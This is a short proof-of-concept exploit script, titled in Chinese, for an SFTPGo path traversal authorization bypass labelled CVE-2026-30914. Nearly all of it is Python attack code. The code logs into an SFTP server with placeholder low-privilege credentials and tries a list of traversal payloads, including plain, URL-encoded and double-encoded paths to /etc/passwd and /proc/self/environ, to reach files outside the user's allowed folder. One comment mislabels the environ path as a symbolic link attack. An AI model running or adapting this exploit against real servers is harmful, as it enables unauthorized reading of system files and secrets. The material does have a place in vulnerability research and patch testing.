CVE-2026-30914 SFTPGo路径遍历授权绕过漏洞

# CVE-2026-30914 PoC - SFTPGo Path Traversal Authorization Bypass # This PoC demonstrates the path normalization discrepancy # Requires valid SFTP credentials with limited folder permissions import paramiko import socket # Configuration TARGET_HOST = 'target.example.com' TARGET_PORT = 22 USERNAME = 'low_privilege_user' PASSWORD = 'user_password' # Path traversal payloads to bypass virtual folder restrictions PAYLOADS = [ # Escape virtual folder using path traversal '../../../etc/passwd', # Symbolic link attack '/proc/self/environ', # URL encoded traversal '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd', # Double encoding '%252e%252e%252f%252e%252e%252fetc%252fpasswd' ] def exploit_sftpgo(): """Exploit CVE-2026-30914: Path normalization bypass""" try: # Establish SSH connection transport = paramiko.Transport((TARGET_HOST, TARGET_PORT)) transport.connect(username=USERNAME, password=PASSWORD) sftp = paramiko.SFTPClient.from_transport(transport) print(f"[*] Connected to {TARGET_HOST} as {USERNAME}") print("[*] Attempting path traversal attacks...") for payload in PAYLOADS: try: # Attempt to read file outside virtual folder print(f"[*] Testing payload: {payload}") result = sftp.stat(payload) print(f"[!] SUCCESS: File accessible via {payload}") print(f"[!] File info: {result}") except IOError as e: print(f"[-] Failed with payload {payload}: {e}") sftp.close() transport.close() except Exception as e: print(f"[-] Connection failed: {e}") if __name__ == '__main__': exploit_sftpgo() print("[*] PoC execution completed")